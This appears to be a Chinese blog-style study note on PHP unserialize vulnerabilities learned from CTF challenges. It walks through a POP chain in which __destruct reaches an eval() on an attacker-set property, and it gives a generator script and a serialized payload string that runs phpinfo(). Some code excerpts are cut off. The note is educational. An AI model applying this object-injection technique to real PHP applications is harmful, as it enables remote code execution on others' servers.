php反序列化_1

这几天一直在看的点，终于弄明白一点点。

愚见，只是从接触的ctf题目来看，php反序列化就是将

原来给php中的代码中的变量赋值，最终使得代码的执行跳到危险的函数上面去执行危险代码

先来说先知上的一个帖子的：

php反序列化的一些例子

//bugkutest.php
funnnn();
       }

       function funnnn()
       {
           $this->handle->close();
       }
   }

   class process
   {
       public $pid;
       function close()
       {
           eval($this->pid);
       }
   }

   // if (isset($_GET['data'])) {
   //  $user_data = unserialize($_GET['data']);
   // }
   $b = 'O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}';
   $a = unserialize($b);
?>

先知上的师傅也分析的很详细了，我就不多啰嗦了，简单说一下逻辑
目的是去执行process类里面的close方法，里面的eval函数，众所周知可以去执行函数，如phpinfo(),system()，之类的。
而如果eval中的参数pid是可控的，相当于一个一句话了。
那么怎么样让函数跳到process里面的close嘞
看example类里面的代码，有一个变量handle。
然后看funnnn方法里,handle->close()，handle去执行close函数了
也就是handle变量得是process的对象，也就是new process()
至于funnn函数怎么调用执行，就是魔术方法__destruct()了，在对象销毁时会自动执行的方法。
所以逻辑就是，给变量赋值，令handle = new process(),pid="phpinfo();"，然后再去new example()就行了。
先知上的师傅给过payload了，我再其代码上做了实验

//shell.php
handle = new process();
        // }
    }


    class process
    {
        public $pid;    
        // function __construct()
        // {
        //  $this->pid = 'phpinfo();';
        // }
    }

    $test = new example();
    $test->handle = new process();
    $test->handle->pid = "phpinfo();";
    // O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
    //第一版，源shell.php
    // 
    // O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
    // 第二版，将example中的函数赋值注释掉，用23行的赋值方式
    // 
    // O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
    // 第三版，在第二版的基础上，将process中的函数赋值注释掉，改为直接赋值为phpinfo();
    // 
    // O:7:"example":1:{s:6:"handle";O:7:"process":1:{s:3:"pid";s:10:"phpinfo();";}}
    //第四版，也就是当前执行的代码
    echo serialize($test);
?>

根据先知上师傅的代码，函数是在魔术方法__construct()里面完成赋值的（在类实例化的时候自动执行的方法）
我想了想，既然都是赋值，直接赋值也是可以的吧...
一开始是在类里面直接赋值pid，得出的序列化字符串是一样的
尝试在类中直接赋值handle=new process()会报错,php不是很懂，猜测在example类中是没有process类的定义的，应该是这样吧...（不是重点）。不过既然在类中赋值出错，我就拿出来赋值。
在example类和process类中，只定义两个public变量。

$test = new example();
$test->handle = new process();
$test->handle->pid = "phpinfo();";

先new一个对象example，将handle赋值new 一个process，然后将pid赋值。

$test->handle->pid = "phpinfo();";//这样的格式像链表

果然，这样最后得出的序列化字符串也是一样的，也就是可以反序列化执行phpinfo的
smile师傅的，写的很好，我写的太粗糙了hhh
并且给出了pop链的定义（pop chain）